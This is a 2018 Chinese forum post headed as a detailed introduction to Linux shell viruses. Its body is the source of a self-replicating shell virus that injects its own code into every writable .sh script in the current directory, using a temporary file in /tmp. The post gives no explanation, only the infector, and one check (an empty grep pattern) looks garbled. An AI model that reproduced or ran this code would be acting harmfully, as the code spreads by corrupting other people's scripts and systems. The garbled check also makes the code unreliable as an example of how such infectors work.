什么没有 发表于 2018-8-26 08:18:09

Linux操作系统下Shell病毒详细介绍

#B:  vFile=$_ ; vTmp=/tmp/.vTmp.$$
  for f in ./*.sh; do
  if [ ! -w $f -a ! -r $vFile ]; then continue; fi
  if grep '' $f ; then continue; fi
  if sed -n '1p' $f | grep 'csh'; then continue; fi
  cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi
  vNo=`awk '$0~/(^\b*#)|(^\b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp`
  sed -n "1,${vNo}p" $vTmp >$f
  (sed -n '/^#B:/,/^#E:/p' $vFile ;echo ) >>$f
  vNo=`expr $vNo + 1`
  sed -n "${vNo},\$p" $vTmp >>$f
  rm -f $vTmp
  done >/dev/null 2>&1
  unset vTmp ;unset vFile ;unset vNo

页: [1]
查看完整版本: Linux操作系统下Shell病毒详细介绍